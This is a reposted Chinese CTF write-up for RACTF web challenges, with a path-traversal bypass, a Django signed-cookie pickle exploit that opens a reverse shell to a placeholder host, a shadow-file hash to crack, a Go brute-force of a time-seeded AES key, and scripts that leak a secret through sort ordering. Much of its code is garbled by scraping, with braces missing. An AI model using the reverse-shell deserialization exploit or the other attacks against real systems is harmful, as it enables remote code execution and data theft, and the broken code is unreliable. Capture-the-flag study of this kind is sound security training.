[WP]RACTF-Writeup

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[WP]RACTF-Writeup相关的知识,希望对你有一定的参考价值。

文章目录

Web

Emojibook

首先我们能看到文件,在urls.py里面查看路由

我第一眼锁定了这个os.path.join函数

如果参数是/flag那么后面经过函数处理就会是flag
因此我们只需要传入/flag.txt按理说应该就能够得到flag,但是很不幸不可以
在创建的时候这里进行了替换

这里将..替换为空替换为空


但这里因为先后顺序很明显有一个逻辑漏洞,因此我们只需要构造

../flag.txt..

即可绕过读取flag

Emojibook2

当然上面那个不是预期解决麻了,预期是RCE

得到了

SECRET_KEY = 'wr`BQcZHs4~EyU(m]`F_SL^BjnkH7"(S3xv,sp)Xaqg?2pj2=hFCgN"CR"UPn4'

配合这个伪造session可以rce,原因是下面这个配置

exp

from django.core.signing import TimestampSigner, b64_encode
from django.utils.encoding import force_bytes
import pickle
import os
import requests

class PickleRCE(object):
   def __reduce__(self):
        return (os.system,(f"""python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxx",xxxxx));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'""",))

SECRET_KEY = 'wr`BQcZHs4~EyU(m]`F_SL^BjnkH7"(S3xv,sp)Xaqg?2pj2=hFCgN"CR"UPn4'
 
def rotten_cookie():
  key = force_bytes(SECRET_KEY)
  salt = 'django.contrib.sessions.backends.signed_cookies'
  base64d = b64_encode(pickle.dumps(PickleRCE())).decode()
  return TimestampSigner(key, salt=salt).sign(base64d)

forge_sessionid = rotten_cookie()
requests.get('http://xxxxx', cookies='sessionid':forge_sessionid)

成功拿下,但是需要提权,用john
前提是获得/etc/passwd/etc/shadow里面对应的内容

admin:$6$.hRHWi.lsTJH1VoB$3VqqpM.sB07xD/mh9lWAsJJ.HrBwbGLgghai6RdGNbG1RBb09FuFiSVhjM6Gi90wCVx.0LM35OB2EeZYZoZLt/:18856:0:99999:7:::
admin:x:1000:1001::/home/admin:/bin/bash

Military Grade

这是一个go语言写的东西,首先看看main函数下写的什么

func main() 
	log.Println("Challenge starting up")
	http.HandleFunc("/", handler)

	go changer()

	log.Fatal(http.ListenAndServe(":80", nil))


发现运行了changer函数,发现对flag进行了加密,这里面的问题是这个seed是基于时间的,所以我们可以进行爆破

func changer() 
	ticker := time.NewTicker(time.Millisecond * 672).C
	for range ticker 
		rand.Seed(time.Now().UnixNano() & ^0x7FFFFFFFFEFFF000)
		for i := 0; i < rand.Intn(32); i++ 
			rand.Seed(rand.Int63())
		

		var key []byte
		var iv []byte

		for i := 0; i < 32; i++ 
			key = append(key, byte(rand.Intn(255)))
		

		for i := 0; i < aes.BlockSize; i++ 
			iv = append(iv, byte(rand.Intn(255)))
		

		flagmu.Lock()
		flag = encrypt(rawFlag, key, iv, aes.BlockSize)
		flagmu.Unlock()
	


编写脚本

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/hex"
	"fmt"
	"math/rand"
	"strings"
)

func main() 


	ctext, err := hex.DecodeString(string("4d069b65825fce7299c33239e993cea7525a7799e7cdcd04a42185f29d221146"))
	if err != nil 
		panic(err)
	

	i := int64(0)
	for i < 16781311 
		rand.Seed(i)
		for j := 0; j < rand.Intn(32); j++ 
			rand.Seed(rand.Int63())
		
		var key []byte
		var iv []byte

		for j := 0; j < 32; j++ 
			key = append(key, byte(rand.Intn(255)))
		

		for j := 0; j < aes.BlockSize; j++ 
			iv = append(iv, byte(rand.Intn(255)))
		

		block, err := aes.NewCipher(key)
		if err != nil 
			panic(err)
		
		mode := cipher.NewCBCDecrypter(block, iv)
		out := make([]byte, len(ctext))
		mode.CryptBlocks(out, ctext)

		if strings.HasPrefix(string(out), "ractf") 
			fmt.Println(string(out))
			return
		

		if i == 4095 
			i = 16777216
		 else 
			i++
		
	


可以看到我们得到了flag

Secret Store

首先打开只有俩功能

首先我们请求

比较骚的参数,让我们可以爆破flag

简简单单的爆破

import requests

flag = "ractfdata_exf1l_via_s0rt1ng_0c66de4"
csrf_token = "VnXhXgOFMVRWz2vehomqV3anJY0Uk4hbTIvkYYtQHvVMKOKuRsz2od5phkZsFJCa"
session_id = "jzbw01pna3qhl208p0btjmyd4t2at600"

headers = 
    "Cookie": f"csrftoken=csrf_token; sessionid=session_id",
    "X-CSRFToken": csrf_token

our_secret_id = 2
def getFlag(tmp):
    for i in range(50, 127):
        payload = tmp + chr(i)
        json_payload = 
            "value": payload
        
        r = requests.post("http://xxxx/api/secret/", data=json_payload, headers=headers)
        r = requests.get("http://xxx/api/secret/?ordering=value", headers=headers)
        secrets = r.json()
        print(secrets)
        if secrets[0]['id'] == 1:
            return chr(i - 1)
    return chr(i-1)

while True:
    next_char = getFlag(flag)
    flag += next_char
    print('[+] Flag:', flag)

当然我也发现可以通过二分法的方式去解决这个问题,当我们的字母小于admin时候,我们的id会在前面, 当更大时我们的会在后面,通过这个思想可以构造二分法脚本,主办方最后也是给了这个

import requests

session_id = "srkh1lpetl1qv1p4z3dn7i85t5tpfu5e"
csrf_token = "vbpYESlFUurRo19bB5mmUWZ3hN9Vh7nKk3lOsUEHAVB8efs90t6lsKrDZmeEo0FD"
url = "http://127.0.0.1:8000/api/secret/"
id = -1

s = requests.Session()
s.cookies["sessionid"] = session_id
s.cookies["csrftoken"] = csrf_token
s.headers["X-CSRFToken"] = csrf_token


def set_secret(secret):
    response = s.post(url, json=
        "value": secret
    ).json()
    global id
    id = response['id']


def get_position_difference():
    response = s.get(url + "?ordering=value").json()
    our_position = 0
    admin_position = 0
    i = 0
    global id
    for x in response:
        if x["id"] == 1:
            admin_position = i
        elif x["id"] == id:
            our_position = i
        i += 1
    return admin_position - our_position


def get_character(current):
    min = 32
    max = 127
    while min <= max:
        mid = (max+min)//2
        set_secret(current+chr(mid))
        print(f"trying chr(mid)")
        diff = get_position_difference()
        if chr(mid) == "":
            print("diff", diff)
        if diff > 0:
            min = mid
        else:
            max = mid
        if abs(max - min) <= 1:
            set_secret(current + chr(mid) + " ")
            low = get_position_difference()
            set_secret(current + chr(mid) + "~")
            high = get_position_difference()
            print(f"low >= high min mid max low high")
            #return mid
            if low >= high:
                return min
            elif high > low:
                return max
    return max


secret = ""
char = ""
while char != "":
    char = chr(get_character(secret))
    secret += char
    print(char)
print(secret)

以上是关于[WP]RACTF-Writeup的主要内容,如果未能解决你的问题,请参考以下文章

WP - wp_rewrite 页面 404

WordPress数据结构分析

使用 Wp-Posts 和 Wp-Terms 查询 Wordpress 帖子

php WP Config #wp #php

php WP插入挂钩之前的WP

php wp主循环#wp